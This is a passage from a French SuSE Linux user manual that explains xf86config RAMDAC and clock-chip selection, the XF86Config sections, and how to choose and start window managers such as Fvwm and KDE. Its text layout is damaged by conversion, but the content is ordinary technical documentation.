* * | | Enter your choice: * * | |_______________________________________________________________________________________________________* *________ | affichage à l'écran 8.2.6: Spécification de la mémoire vidéo Ensuite, il vous sera demandé le nom, le constructeur et le type_de_votre carte. Si une carte a été sélectionnée, il vous suffit d'appuyer sur |_____-|. Enter an identifier for your video card definition: Enter the vendor name of your video card: Enter the model (board) name of your video card: Si le serveur X que vous avez choisi est un serveur pour cartes accélératrices, il vous sera demandé quel est le RAMDAC de votre carte. Ceci n'a d'impor- tance que pour les serveurs S3 et AGX. Dans la majeure partie des cas, il est préférable de presser la touche |E__________|ntrée sans faire aucune sélection. Si vous avez choisi une carte qui supporte un RAMDAC déterminé, ceci sera affiché et c'est cette sélection que vous devrez faire. Après avoir répondu à ces questions, vous pourrez éventuellement sélection- ner le circuit d'horloge pour les cartes accélératrices. La sélection d'un circuit d'horloge rend superflues les lignes de valeurs d'horloge car les fréquences d'horloge nécessaires peuvent être programmées : 256 ___________________________________________________________________________8.2.__Configuration_avec_xf86config______________* *______________________|| |||||||| | _______________________________________________________________________________________________________________________|| |||||||| 1 AT&T 20C490 (S3 server) att20c490 | |||||||| 2 AT&T 20C498/21C498/22C498 (S3) att20c498 | |||||||| | |||||||| 3 AT&T 20C505 (S3) att20c505 | |||||||| 4 BrookTree BT481 (AGX) bt481 | |||||||| 5 BrookTree BT482 (AGX) bt482 | |||||||| 6 BrookTree BT485/9485 (S3) bt485 | |||||||| | |||||||| 7 Sierra SC15025 (S3, AGX) sc15025 | |||||||| 8 S3 GenDAC (86C708) (autodetected) s3gendac | |||||||| 9 S3 SDAC (86C716) (autodetected) s3_sdac | |||||||| 10 STG-1700 (S3) stg1700 | |||||||| | |||||||| 11 TI 3020 (S3) ti3020 | |||||||| 12 TI 3025 (S3) ti3025 | |||||||| 13 TI 3020 (S3, autodetected) ti3020 | |||||||| 14 TI 3025 (S3, autodetected) ti3025 | |||||||| | |||||||| 15 TI 3026 (S3, autodetected) ti3026 | |||||||| 16 IBM RGB 514 (S3, autodetected) ibm_rgb514 | |||||||| 17 IBM RGB 524 (S3, autodetected) ibm_rgb524 | |||||||| 18 IBM RGB 525 (S3, autodetected) ibm_rgb525 | |||||||| | |||||||| 19 IBM RGB 526 (S3) ibm_rgb526 | |||||||| 20 IBM RGB 528 (S3, autodetected) ibm_rgb528 | |||||||| 21 ICS5342 (S3, ARK) ics5342 | |||||||| | |||||||| 22 ICS5341 (W32) ics5341 | |||||||| 23 IC Works w30C516 ZoomDac (ARK) zoomdac | |||||||| 24 Normal DAC normal | ||||||||_______________________________________________________________________________________________________________ | affichage à l'écran 8.2.7: Spécification du RAMDAC _______________________________________________________________________________________________________________________|||| |||||||| 1 Chrontel 8391 ch8391 | |||||||| 2 ICD2061A and compatibles (ICS9161A, DCS2824) icd2061a | |||||||| 3 ICS2595 ics2595 | |||||||| 4 ICS5342 (similar to SDAC, but not completely compatible) | |||||||| | |||||||| ics5342 | |||||||| 5 ICS5341 ics5341 | |||||||| 6 S3 GenDAC (86C708) and ICS5300 (autodetected) s3gendac | |||||||| | |||||||| 7 S3 SDAC (86C716) s3_sdac | |||||||| 8 STG 1703 (autodetected) stg1703 | |||||||| 9 Sierra SC11412 sc11412 | |||||||| 10 TI 3025 (autodetected) ti3025 | |||||||| | |||||||| 11 TI 3026 (autodetected) ti3026 | |||||||| 12 IBM RGB 51x/52x (autodetected) ibm_rgb5xx | ||||||||_______________________________________________________________________________________________________________ | affichage à l'écran 8.2.8: Spécification du circuit d'horloge Si vous utilisez une_carte_graphique_sans circuit d'horloge, il vous suffit de presser la touche |_________E|ntréepour ne pas sélectionner de circuit d'horloge. Si une carte graphique a été choisie dans le menu de sélection, le circuit d'horloge, si celui-ci existe, sera automatiquement affiché. Si aucun circuit d'horloge n'a été sélectionné, xf86config vous proposera de lancer X -probeonly afin de déterminer les synchronisations (angl. timings) supportées par la carte. Celles-ci seront inscrites dans une ligne Clocks (ligne de valeurs d'horloge) du fichiers XF86Config. Il s'impose ici de préciser pourquoi les synchronisations déterminées auto- matiquement peuvent s'avérer très dangereuses : Si la carte graphique est dotée d'un circuit d'horloge programmable le serveur X ne peut pas, lors de la détection, basculer entre les différentes fréquences d'horloge (angl. clocks) * * 257 8. Le système X Window____________________________________________________________________________________________________________* *_______________________________________@ de la carte et ne reconnaît alors que les clocks 0, 1 et occasionnellement 2. Toutes les autres valeurs sont plus ou moins dues au hasard (en général les valeurs des clocks 0, 1 et 2 se répètent et sont remplacées par des zéros). Toutes les valeurs, à l'exception de celles des clocks 0 et 1, dépendent dans une très large mesure de la programmation initiale du circuit d'horloge. La clock 2 peut très bien avoir, au moment de la détection, une autre valeur (inscrite dans le fichier XF86Config) que lors d'un démarrage ultérieur du serveur X. Toutes les synchronisations sont alors erronées et le moniteur risque d'être endommagé. Un indice permettant de reconnaître un circuit d'horloge programmable (et les problèmes qui en découlent) est la présence de toute une série de zéros ou de valeurs de synchronisation se répètant continuellement. De telles valeurs ne doivent en aucun cas être inscrites dans le fichier XF86Config ! Il est donc conseillé, lors de la détermination des circuits d'horloge ou des synchronisations, d'adopter la stratégie suivante : ~ Spécifiez de préférence un circuit d'horloge programmable s'il en existe un. Il sera alors programmé en conséquence et le fichier XF86Config ne contiendra pas de valeurs de fréquences. Mais vous pouvez aussi comparer les circuits d'horloge de la carte avec ceux pro- posés dans le menu et trouver ainsi celui qui convient. Presque toutes les cartes S3 modernes sont dotées d'un circuit d'horloge programmable. ~ Si votre carte graphique n'a pas de circuit d'horloge programmable, lancez alors X -probeonly et comparez (à un moment où votre machine ne fonctionne pas à plein rendement) les valeurs d'horloge qui ont été déterminées avec celles mentionnées dans la documentation qui accom- pagne votre carte graphique. Si les valeurs concordent approximativement ( 2), inscrivez-les dans le fichier XF86Config. Si rien n'est mentionné dans votre documentation, vous pouvez déter- miner les valeurs de synchronisation avec X -probeonly (si possible lorsque votre machine n'est pas trop chargée). Vérifiez si les valeurs re- connues sont correctes car certaines cartes ne permettent pas de recon- naître les valeurs d'horloge (de nombreux zéros ou des valeurs se répé- tant continuellement donnent tout lieu de penser que les valeurs ne sont pas correctes). Inscrivez ensuite vous-même les valeurs exactes dans le fichier XF86Config. N'omettez aucune des valeurs et n'essayez pas d'en changer l'ordre ni de les modifier de quelque manière que ce soit. Les valeurs doivent être inscrites exactement dans le même ordre. Si vous utilisez le serveur P9000 vous devez simplement spécifier, dans la ligne Clocks , la fréquence que vous souhaitez pour chaque mode. Cette fois-ci, l'ordre des entrées n'a aucune importance. ~ On applique en général la règle suivante : Avec les circuits d'horloge programmables, il ne doit pas y avoir de ligne Clocks (ligne de valeurs d'horloge) dans le fichier XF86Config (exception P9000). Pour les cartes sans circuit d'horloge programmable il devrait y avoir une ligne Clocks dans le fichier XF86Config. Ceci permet d'éviter la recherche automatique fastidieuse et parfois dangereuse des fréquences à chaque démarrage du système X Window. Il n'y a alors aucune valeur 258 ___________________________________________8.3.__Optimisation_de_l'installation_du_système_X_Window_________________________* *______________________ erronée pour les cartes dont les fréquences ne sont pas lisibles et votre moniteur ne court aucun risque. Si maintenant (après avoir pris connaissance des paragraphes précédents) vous souhaitez que les fréquences soient reconnues automatiquement, vous devez répondre `y' à la question : Do you want me to run 'X -probeonly' now? L'écran deviendra noir pour un bref laps de temps et il apparaîtra ensuite une liste des fréquences ou un message vous faisant savoir qu'aucune fréquence n'a été reconnue. Si vous avez choisi un circuit d'horloge, il ne vous sera pas demandé si X -probeonly doit être lancé car les fréquences sont alors programmées automatiquement. Dans ce cas, vous passerez directement à la prochaine phase de la configuration. _______________________________________________________________________________________________________________________|| |||||||| Si vous avez répondu `y' à la dernière question et si l'écran reste sombre ||| | |||||||| plus de 30 secondes, vous devriez absolument interrompre la procédure || | |||||||| ______ ____ ___ ______ _ || | |||||||| avec |______C|trl+|A____l|t+|____| ou avec |______C|trl+|c_ |! Le cas échéant, vous devrez| | |||||||| même éteindre l'ordinateur et le moniteur afin de ne pas faire courir de || | |||||||| || | |||||||| risque à votre matériel ! || | ||||||||_______________________________________________________________________________________________________________||_ Sauvegarde de la configuration La configuration est maintenant terminée, mais le fichier de configuration doit encore être sauvegardé. Il est conseillé de stocker le fichier de configu- ration X~Window XF86Config dans le répertoire /etc. Il est ainsi garanti que chaque machine dans un environnement réseau possède son ``propre'' fi- chier de configuration même si plusieurs machines se partagent le système de fichiers /usr. Vous devrez spécifier ici `/etc/XF86Config' ! L'exécution du programme xf86config et la configuration du système X Win- dow sont ainsi terminées. 8.3 Optimisation de l'installation du système X Window Les programmes XF86Setup et xf86config créent le fichier XF86Config de façon standard dans le répertoire /etc. C'est le fichier de configuration pri- maire pour le système X Window . Vous trouverez ici les paramètres concer- nant la souris, le moniteur et la carte graphique. XF86Config est divisé en plusieurs sections se rapportant chacune à un aspect de la configuration. Une section a toujours cette forme : Section entrée 1 entrée 2 entrée n EndSection Il existe différents types de sections : * * 259 8. Le système X Window____________________________________________________________________________________________________________* *_______________________________________@ _______________________________________________________________________________________________________* *_________ Files Cette section décrit les chemins utilisés pour les polices de caractères et la table des couleurs RGB. ServerFlags C'est ici que sont spécifiés les commutateurs généraux. Keyboard Sert à la description du clavier et du pilote que vous utilisez. Sous Linux, il ne peut s'agir que de Device "Standard". Pointer Donne les définitions nécessaires pour les dispositifs de pointage utilisés. En général ce sera une souris, mais il peut très bien s'agir aussi d'un LightPen ou d'une tablette graphique. Il est essentiel de spécifier le Protocol et le Device . Monitor Décrit le moniteur utilisé. Les éléments de cette sec- tion sont constitués par un nom auquel il est fait réfé- rence lors de la définition de l'écran (Screen ) ainsi que par la description de la largeur de bande (Bandwidth ) et des fréquences de synchronisation (HorizSync et VertRefresh ). Les spécifications se font en MHz, kHz ou Hz. Le serveur refuse toute modeline qui ne corres- pond pas à la spécification du moniteur. Ceci permet d'éviter qu'il soit transmis par inadvertance des fré- quences trop élevées au moniteur si vous vous livrez à quelques expériences sur les modelines. Device Cette section définit une carte graphique déterminée. Elle est référencée par le nom spécifié. Screen Cette section réunit une section Driver , (par exemple vga2 ou accel ), une section Monitor et une section Device . Cet ensemble fournit les paramètres indispen- sables pour XFree86. La sous-section Display permet de déterminer la taille de l'écran virtuel (Virtual ), de spécifier la fenêtre d'affichage (ViewPort ) et les Modes utilisés avec cet écran. _______________________________________________________________________________________________________* *_________ Tab. 8.1: Sections dans /etc/XF86Config Nous allons examiner de plus près les sections Monitor , Device et Screen . Vous trouverez dans la page de man de XFree86 (man XFree86 ) des infor- mations sur les autres sections Le fichier XF86Config peut contenir plusieurs sections Monitor et Device . Il est également possible qu'il contienne plusieurs sections Screen ; la sec- tion utilisée dépend du serveur qui a été lancé. Section Screen Voyons tout d'abord la section Screen . Celle-ci réunit, comme nous l'avons déjà dit, une section Monitor et une section Device et détermine quelles 260 ___________________________________________8.3.__Optimisation_de_l'installation_du_système_X_Window_________________________* *______________________ résolutions doivent être combinées à quelle profondeur de couleurs. Une section|Screen| peut ressembler, par exemple, à celle du fichier 8.3.1. | _______________________________________________________________________________________________________________________|||| |||||||| Section "Screen" | |||||||| Driver "accel" | |||||||| Device "Miro Crystal 40SV" | |||||||| Monitor "EIZO T563-T" | |||||||| | |||||||| DefaultColorDepth 16 | |||||||| Subsection "Display" | |||||||| Depth 8 | |||||||| Modes "1024x768" "800x600" "640x480" | |||||||| | |||||||| ViewPort 0 0 | |||||||| Virtual 1024 768 | |||||||| EndSubsection | |||||||| Subsection "Display" | |||||||| | |||||||| Depth 16 | |||||||| Modes "1280x960" "1152x864" "1024x768" "800x600" | |||||||| ViewPort 0 0 | |||||||| Virtual 1280 960 | |||||||| | |||||||| EndSubsection | |||||||| Subsection "Display" | |||||||| Depth 32 | |||||||| Modes "1024x768" "800x600" "640x480" | |||||||| | |||||||| ViewPort 0 0 | |||||||| Virtual 1024 768 | |||||||| EndSubsection | |||||||| EndSection | ||||||||_______________________________________________________________________________________________________________ | fichier 8.3.1: La section Screen du fichier /etc/XF86Config La ligne Driver détermine le serveur X auquel doit s'appliquer cette défini- tion. Les serveurs énumérés dans la liste de la page 255 sont spécifiés à l'aide de mots-clés dans le tableau 8.2. ______________________________________________________________________________________________________________________ Accel Serveurs spéciaux accélérés pour cartes accélératrices Mono Serveurs non VGA 1 et 4 bits SVGA Super serveur VGA VGA2 Serveur VGA (monochrome) 1 bit VGA16 Serveur VGA 4 bits ______________________________________________________________________________________________________________________ Tab. 8.2: Mots clés pour serveurs X dans /etc/XF86Config Le fichier XF86Config peut contenir, pour chaque serveur, une section Screen utilisée lorsque le serveur correspondant est lancé. Les deux lignes suivantes, Device et Monitor , désignent la carte graphique et le moniteur auxquels se rapporte cette définition. Il ne s'agit que de réfé- rences aux sections Device et Monitor avec les noms correspondants. Ces sections seront traitées plus loin de façon plus détaillée. À l'aide du mot-clé DefaultColorDepth , vous pouvez choisir la profondeur de couleurs avec laquelle le serveur sera lancé dans le cas où celle-ci n'est pas * * 261 8. Le système X Window____________________________________________________________________________________________________________* *_______________________________________@ spécifiée de façon explicite au démarrage. Il apparaît ensuite, pour chaque profondeur de couleurs, une sous-section Display . La profondeur de couleurs à laquelle se rapporte la sous-section est définie par le mot-clé Depth . Les valeurs possibles pour Depth sont 8, 15, 16, 24 et 32. Ces valeurs ne sont pas supportées par tous les serveurs X. En principe, 24 et 32 sont équivalentes pour beaucoup de cartes mais pour d'autres, 24 indique le mode ``packed pixel'' 24 bpp et 32 le mode ``padded pixel'' 24 bpp. Après le choix de la profondeur de couleurs, il est établi, avec Modes , une liste de résolutions qui est parcourue par le serveur X de gauche à droite. Il est recherché, pour chaque résolution, une modeline adéquate qui concorde avec l'une des fréquences d'horloge spécifiées dans la section Monitor ou avec une fréquence d'horloge pouvant être utilisée pour programmer la carte. La première résolution qui s'avère appropriée est celle avec laquelle le ser- veur X est_lancé_(c'est ce_que_l'on_appelle_le mode par défaut ). Avec les touches |C______|trl+ |A____l|t+_|G_________|ris,_+vous_pouvez_vous déplacer vers le côté droit de la liste et avec | ______C|trl+ | ____A|lt+ | __________G|risvers le côté gauche. La résolu- tion de l'écran peut ainsi être modifiée au cours de l'exécution du système X Window. Les deux dernières lignes des sous-sections concernent la taille de l'écran virtuel et l'insertion dans celui-ci de la portion visible de l'écran physique. La taille de l'écran virtuel dépend de la mémoire de la carte graphique et de la profondeur de couleurs désirée mais elle est indépendante de la résolution maximale du moniteur. Si la carte possède par exemple 1 MB de RAM vidéo, l'écran virtuel peut atteindre une taille de 1024/1024 pixels pour une profon- deur de couleurs d'une valeur de 8 bits. Il est expressément recommandé, tout particulièrement avec les serveurs accélérés, de ne pas utiliser la totalité de la mémoire de la carte graphique pour l'écran virtuel car la zone de mémoire encore disponible sur la carte graphique peut servir pour différents caches de jeux de caractères et zones graphiques. La taille de l'écran virtuel est spécifiée avec Virtual Viewport détermine la fenêtre d'affichage. C'est le point sur lequel l'angle supérieur gauche de la portion visible de l'écran physique est projeté sur l'écran virtuel. Une valeur de 0 0 signifie que les deux angles gauches su- périeurs sont placés au départ l'un sur l'autre. La portion visible est déplacée sur l'écran virtuel par un mouvement du pointeur de la souris sur le bord de l'écran. La fenêtre d'affichage (angl. viewport) n'a donc d'importance que lors du lancement du système X Window et seulement dans le cas où la taille de l'écran virtuel ne concorderait pas avec la résolution réelle. Section Device Une section Device décrit une carte graphique précise. XF86Config peut contenir n'importe quel nombre de sections Device à condition que leurs noms, spécifiés à l'aide du mot-clé Identifier se distinguent. Il ne semble pas utile de décrire ici la section Device de façon détaillée. Vous pouvez toutefois vous reporter à la documentation ~ rédigée malheureusement 262 ___________________________________________8.3.__Optimisation_de_l'installation_du_système_X_Window_________________________* *______________________ en anglais ~ du fichier /usr/X11/lib/X11/doc et à la page de man de XFree86 (man XFree86 ). Le répertoire /usr/X11R6/lib/X11/doc/Devices contient toute une série de sections Device . Si l'une des cartes mentionnées est utilisée, la section Device correspondante doit être insérée dans le fichier /etc/XF86Config et la section Screen doit être modifiée en conséquence par l'ajout du péri- phérique correspondant. Si la carte recherchée n'est pas dans la liste, cela ne signifie pas qu'elle n'est pas supportée par XFree86 ! Il est tout simplement possible que personne n'ait encore envoyé de section Device pour cette carte à l'équipe XFree86. Une liste des cartes supportées se trouve dans le fichier README contenu dans le répertoire /usr/X11/lib/X11/doc ; dans le fichier AccelCards les cartes accélératrices sont détaillées encore une fois de façon plus précise. Section Monitor Les sections Monitor, en analogie avec les sections Device, décrivent cha- cune un moniteur. Le fichier /etc/XF86Config peut contenir n'importe quel nombre de sections Monitor portant des noms différents. Il est précisé dans la section Screen quelle section Monitor est déterminante. Pour la définition du moniteur, plus encore que pour la description de la carte graphique, la création d'une section Monitor ne devrait être entreprise que par des utilisateurs possédant une certaine expérience. Un élément essentiel de la section Monitor est constitué par les ``modelines'' dans lesquelles sont spécifiées les synchronisations horizontales et verticales pour la résolution utilisée. _______________________________________________________________________________________________________________________ |||||||| || | |||||||| Aucune modification ne devrait être apportée aux modelines sans une || | |||||||| bonne connaissance du mode de fonctionnement du moniteur et de la carte || | |||||||| || | |||||||| graphique car une telle modification peut éventuellement entraîner la des- || | |||||||| truction du moniteur ! || | ||||||||_______________________________________________________________________________________________________________||_ Ceux qui se sentent le courage d'élaborer leurs propres descriptions de mo- niteur devraient être familiarisés avec la documentation qui se trouve dans le répertoire /usr/X11/lib/X11/doc. Il convient de mentionner tout parti- culièrement [FCR93 ] qui contient une description détaillée des fonctions du matériel et de la création de modelines. Des sections Monitor prédéfinies pouvant être insérées dans XF86Config se trouvent dans le fichier /usr/X11/lib/X11/Monitors. Un moniteur qui n'y est pas mentionné devrait être utilisé avec les synchronisations stan- dard VESA telles qu'elles se trouvent dans la section Monitor créée par XF86Setup ou xf86config . Dans ce cas, il est essentiel que les valeurs pour les fréquences horizontales et verticales aient été correctement spécifiées ! Ici aussi, les configurations testées peuvent être ajoutées à la liste lorsque celles-ci sont communiquées à SuSE GmbH ou à l'équipe XFree86. * * 263 8. Le système X Window____________________________________________________________________________________________________________* *_______________________________________@ 264 Chapitre 9 Le gestionnaire de fenêtres ~ Votre ouverture sur l'ordinateur Après avoir configuré le serveur X, vous voudrez certainement entrer en pos- session d'un beau bureau doté de fenêtres, de menus et de tout un tas d'autres choses dont doit disposer un bureau ``comme il faut''. Ce chapitre traite donc des gestionnaires de fenêtres et développe les thèmes suivants : ~ Un gestionnaire de fenêtres et ses fonctions ~ KDE ~ l'environnement K Desktop comme alternative ~ Fvwm2 ~ le gestionnaire de fenêtres classique sous Linux ~ susewm ~ élégant chemin qui vous mène à votre propre fichier de confi- guration ~ La pratique : personnalisation de différentes configurations. Tout aussi impatient que vous puissiez être de passer à la pratique, n'oubliez pas qu'il est nécessaire de posséder quelques connaissances de base. Donc, pour commencer, un peu de théorie ! 9.1 Théorie de l'interface utilisateur graphique 9.1.1 Structure du système X Window Contrairement à ce qui se passe pour les + interfaces utilisateur graphiques monolithiques comme celles que l'on rencontre, par exemple, sous Windows ou OS/2, les différentes couches fonctionnelles sous Linux sont strictement séparées les unes des autres. Ceci rend à première vue la manipulation plus complexe mais vous offre en compensation une plus grande flexibilité. Le système peut ainsi satisfaire de très hautes exigences. La première couche au dessus du matériel est le système d'exploitation qui assume des tâches de base telles que par exemple la gestion de la mémoire. Au dessus, se trouve le + serveur X (système X Window). D'une part, le ``ser- veur X'' correspond au ``pilote graphique'' (pour reprendre un terme employé couramment sous d'autres systèmes) et d'autre part il met à disposition une couche d'abstraction au niveau réseau. Ceci permet une utilisation répartie sur l'ensemble d'un réseau (y compris Internet) des services d'un serveur X. Voici quelles sont les tâches du serveur X : * * 265 9. Le gestionnaire_de_fenêtres_~_Votre_ouverture_sur_l'ordinateur_________________________________________________________________* *_______________________________________@ ~ Accès à la carte graphique, ~ traçage de points, de lignes, de rectangles, écriture de texte et ~ distribution de ces services ou accès à ceux-ci à travers un réseau ou par la machine locale. Bien que la plupart des utilisateurs font usage des services du serveur X uni- quement sur leur station de travail, c'est-à-dire localement, la fonction réseau intégrée et transparente pour l'utilisateur n'en présente pas moins certains avantages. L'utilisateur peut bénéficier d'une interface unifiée sans qu'il soit imposé de restrictions à la représentation graphique du bureau. Ce n'est que grâce à cela qu'il est possible de développer différentes interfaces graphiques tout en faisant en sorte que chaque programme puisse malgré tout être repré- senté sur chaque bureau. Si l'on travaille en réseau, il est parfaitement possible de faire tourner au bureau une application dont les affichages apparaîtront sur l'écran du PC que l'on possède à la maison. On peut faire tourner indifféremment sur la machine distante, soit quelques applications seulement, soit tous les programmes du bureau. L'architecture matérielle et le système d'exploitation ~ dans la mesure où celui-ci supporte X11 ~ ne constituent pas non plus un obstacle. Pour citer un exemple, il n'est plus désormais indispensable de se trouver dans la même pièce que la station de travail graphique performante et bruyante. Il est tout à fait possible de travailler dans un lieu plus confortable sur une machine moins puissante et de faire exécuter l'application que l'on désire sur la station de travail. Linux étant un système multiutilisateur, plusieurs personnes peuvent travailler simultanément sur une même machine en utilisant des terminaux X. Un terminal X est une petite machine sans disque dur qui amorce à travers le réseau. Afin que les rectangles qui nous fournissent les éléments de base pour les fenêtres et outils de contrôle que nous connaissons déjà se transforment en fenêtres ou menus que l'on peut déplacer à son gré, il est nécessaire d'avoir recours aux services d'un gestionnaire de fenêtres. Les fenêtres ont une importance cruciale du fait qu'elles permettent de faire tourner différentes applications les unes à côté des autres d'une manière facile à superviser et d'utiliser des menus qui rendent plus aisée la manipulation de la machine. Le gestionnaire de fenêtres représente donc une couche supplémentaire entre le serveur X, les programmes d'application et l'utilisateur comme le montre la figure 9.1 page suivante.1 Il existe sous Linux plusieurs gestionnaires de fenêtres et il convient ici de faire la différence entre les gestionnaires de fenêtres proprement dits (angl. windowmanagers) et les ``environnements de travail'' ou les ``environnements de bureau'' (angl. Desktop Environments). Alors que les gestionnaires de fe- nêtres proprement dits se limitent à s'occuper des fenêtres, les ``environne- ments de bureau'' disposent, en plus du gestionnaire de fenêtres, d'un certain nombre d'applications qui ont un aspect et un mode d'utilisation homogènes. _____________________________________________1 Nous mentionnerons ici, uniquement pour compléter notre description, que les développeurs d'applications X ont directement accès à X. 266 _________________________________________________________9.1.__Théorie_de_l'interface_utilisateur_graphique_________________* *______________________ ____________________________________________________|||| | | || || | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |___________________________________________________ | Fig. 9.1: Couches de l'interface utilisateur graphique Les gestionnaires de fenêtres suivants sont fournis avec SuSE Linux : ~ Fvwm ~ pendant très longtemps le gestionnaire de fenêtres sous Linux ~ Fvwm95 ~ qui s'inspire de Windows 95 ~ AfterStep ~ même présentation et aspect que NeXTSTEP ~ WindowMaker ~ idem, mais complètement réimplémenté ~ Enlightenment ~ richement équipé ~ Ctwm ~ gestionnaire de fenêtres sans fioritures ~ Olvwm ~ gestionnaire de fenêtres virtuel OpenLook , pour ceux qui aiment sortir de l'ordinaire. Vous trouverez encore d'autres gestionnaires de fenêtres dans la série xwm. Sur la base de Fvwm , il a été écrit un très grand nombre d'autres getion- naires de fenêtres pouvant tous être configurés d'une manière analogue. Cette famille compte les versions 1, 2.0 et 2.2 de Fvwm ainsi que AfterStep , Bow- man , cdesim et Fvwm95 . Il existe, en outre, les environnements de bureau suivants : ~ KDE ~ K Desktop Environments (prévu par défaut sous SuSE Linux) ~ GNOME ~ GNU Network Object Model Environment ~ XFce ~ Un clone du produit commercial CDE Le choix de votre gestionnaire de fenêtres dépend uniquement de votre goût personnel, des fonctions dont vous avez besoin et de la performance de votre matériel. Par leur consommation de mémoire, les gestionnaires de fenêtres présentent des différences parfois considérables. Un environnement de bu- reau tel que KDE ou GNOME ne devrait être installé que sur des machines dotées d'au moins 64 Mo de mémoire physique (+ mémoire). Mais outre leur apparence, ce sont surtout leurs possibilités de configuration et d'extension * * 267 9. Le gestionnaire_de_fenêtres_~_Votre_ouverture_sur_l'ordinateur_________________________________________________________________* *_______________________________________@ qui différencient le plus les divers gestionnaires de fenêtres. Depuis la fi- gure 9.2 jusqu'à la figure 9.5, vous voyez quatre exemples de décorations de fenêtres. La figure 9.2 montre le serveur X sans gestionnaire de fenêtres ac- tivé. Il n'existe pas de cadres permettant d'influer sur la taille et la position de la fenêtre. Fig. 9.2: Pas de décoration de fenêtre ~ X11 sans gestionnaire de fenêtres Fig. 9.3: Décoration de fenêtre de kwm de KDE Fig. 9.4: Décoration de fenêtre de Fvwm Fig. 9.5: Décoration de fenêtre de WindowMaker Rien ne vous empêche d'installer (parallèlement) les différents gestionnaires de fenêtres et de les essayer. Lorsque vous aurez pris une décision, vous pour- rez modifier votre gestionnaire de fenêtres selon vos désirs et vous créer un environnement de travail personnalisé. KDE est installé comme environne- ment de travail par défaut. ________________________________________________________________________________________________________* *________|| | Pour terminer, encore une astuce : La majeure partie des informations * * |||| | contenues dans ce chapitre se rapporte à Fvwm2 ou à KDE . Si vous êtes * * ||| | * * ||| | encore indécis, choisissez tout simplement l'un des deux ! * * ||| |_______________________________________________________________________________________________________* *________|||_ 9.1.2 De quoi s'occupe un gestionnaire de fenêtres ? Voici maintenant une brève énumération (incomplète) de ce que l'on peut modifier, par la configuration d'un gestionnaire de fenêtres, dans le compor- tement et l'aspect du bureau : 268 _________________________________________________________9.1.__Théorie_de_l'interface_utilisateur_graphique_________________* *______________________ ~ Aspect des fenêtres ~ Largeur, couleur et effet 3D de la bordure ~ Éléments de contrôle utilisés pour le déplacement ou l'agrandissement de la fenêtre (ce que l'on appelle la décoration des fenêtres), les lignes de titres et les polices de caractères ~ Superposition de fenêtres ~ Comportement d'élévation, par exemple auto-élévation (mise en avant- plan automatique) ~ Clouage de fenêtres ~ Donner le focus à une fenêtre ~ en cliquant ~ en ``touchant'' avec le pointeur de la souris ~ Menus contextuels (pop-up) ~ Aspect des menus (couleur, polices de caractères) ~ Comportement des menus, sous-menus ~ Fond d'écran ~ Écran virtuel (plusieurs bureaux/écrans) ~ Gestion d'icônes ~ Associer des sons aux évenements sur le bureau Seuls quelques gestionnaires de fenêtres disposent d'un programme de confi- guration graphique intuitif permettant de paramétrer et de gérer les fonctions que nous venons d'énumérer. Ce sont par exemple KDE , GNOME , Window- Maker et Enlightenment . La plupart des configurations se font au moyen d'un ou de plusieurs fichiers de configuration. On peut alors régler les paramètres à l'aide de commandes plus ou moins mnémotechniques. L'expérience a démontré que l'on s'habi- tue très vite à un gestionnaire de fenêtres et à la manière de le configurer. En outre, l'utilisateur ne configure en général son ``gestionnaire de fenêtres favori'' qu'au début et travaille ensuite avec celui-ci tout le reste du temps. 9.1.3 Démarrage de différents gestionnaires de fenêtres Pour le lancement des différents gestionnaires de fenêtres, il existe sous SuSE Linux plusieurs possibilités qui dépendent de la manière dont vous démarrez votre système X Window. Démarrage avec kdm Si vous démarrez le système X Window avec KDM , vous pourrez choisir un gestionnaire de fenêtres dans le dialogue de login. kdm enregistre pour chaque utilisateur la dernière configuration. Plus de détails à ce sujet au chapitre 9.2 page 271. * * 269 9. Le gestionnaire_de_fenêtres_~_Votre_ouverture_sur_l'ordinateur_________________________________________________________________* *_______________________________________@ Démarrage avec xdm Si vous utilisez XDM à la place de KDM , vous devrez ~ ainsi qu'il est décrit ci-dessous ~ positionner la variable d'envrironnement WINDOWMANAGER dans le fichier ~/.bashrc. Démarrage avec startx Si après l'amorçage vous ne faites pas démarrer automatiquement le système X Window, vous pouvez démarrer un gestionnaire de fenêtres déterminé à partir de la console texte en lançant startx avec un paramètre. Par exemple par la commande : tux@terre: > startx fvwm95 C'est ainsi que démarre Fvwm95 . Comme paramètre, on utilise toujours ici le nom de fichier du gestionnaire de fenêtres. Cela fonctionne pour la plupart des gestionnaires de fenêtres qui vous sont fournis. On peut ajouter à cette commande le paramètre concernant la profondeur de couleurs : tux@terre: > startx afterstep -- -bpp 16 Cette commande lance le système X Window en mode 16 bits (65536 cou- leurs) avec AfterStep comme gestionnaire de fenêtres. Mais il est probable que vous ayez déjà choisi cette profondeur de couleurs comme configuration par défaut au cours de l'installation. Voir le paragraphe 2.1.14 page 26 ainsi que la page de man de startx (man startx ). La variable WINDOWMANAGER Après avoir choisi votre gestionnaire de fenêtres, vous pouvez ajouter dans le fichier ~/.bashrc du répertoire HOME la ligne suivante ou, le cas échéant, modifier une ligne déjà existante : export WINDOWMANAGER=fvwm95 pour que Fvwm95 soit configuré comme gestionnaire de fenêtres par défaut. Ici aussi, vous devez spécifier le nom du programme gestionnaire de fenêtres exécutable et vous devez toujours ajouter le nom du chemin d'accès à ce fichier lorsque le nom du répertoire correspondant n'est pas contenu dans la variable d'environnement PATH. Avec YaST , vous pouvez faire aussi cette entrée pour /etc/profile si vous voulez déterminer le gestionnaire de fenêtres pour tous les utilisateurs du système. Voir la marche à suivre au paragraphe 3.6.6 page 110. Veillez à ce que chaque utilisateur puisse inscrire cette configuration dans son propre fichier ~/.bashrc. Changer de gestionnaire de fenêtres en cours de travail Si vous utilisez SuSEwm , il est possible, avec quelques gestionnaires de fe- nêtres (tout particulièrement de la famille Fvwm ) d'effectuer un changement pendant le fonctionnement du système. Les fenêtres déjà ouvertes ne sont pas abandonnées et les processus qui tournent dans celles-ci ne sont donc pas an- nulés. Dans certains gestionnaires de fenêtres tels que Ctwm , kwm (KDE ) ou CDE , cette fonction n'a pas été implémentée par les programmeurs. Pour 270 ________________________________________________________________________9.2.__L'environnement_de_bureau_KDE_________________* *______________________ pouvoir malgré tout basculer entre différents gestionnaires de fenêtres, vous pouvez avoir recours à SuSE DyDe (angl. SuSE dynamic desktop). Si vous souhaitez utiliser SuSE DyDe , vous devez définir suse comme gestionnaire de fenêtres ou le sélectionner en tant que tel dans dans KDM 9.2 L'environnement de bureau KDE Avec KDE , Linux dispose, pour un très grand nombre d'applications, d'une interface utilisateur graphique simple à configurer, de présentation plaisante et homogène. KDE est l'acronyme de ``K Desktop 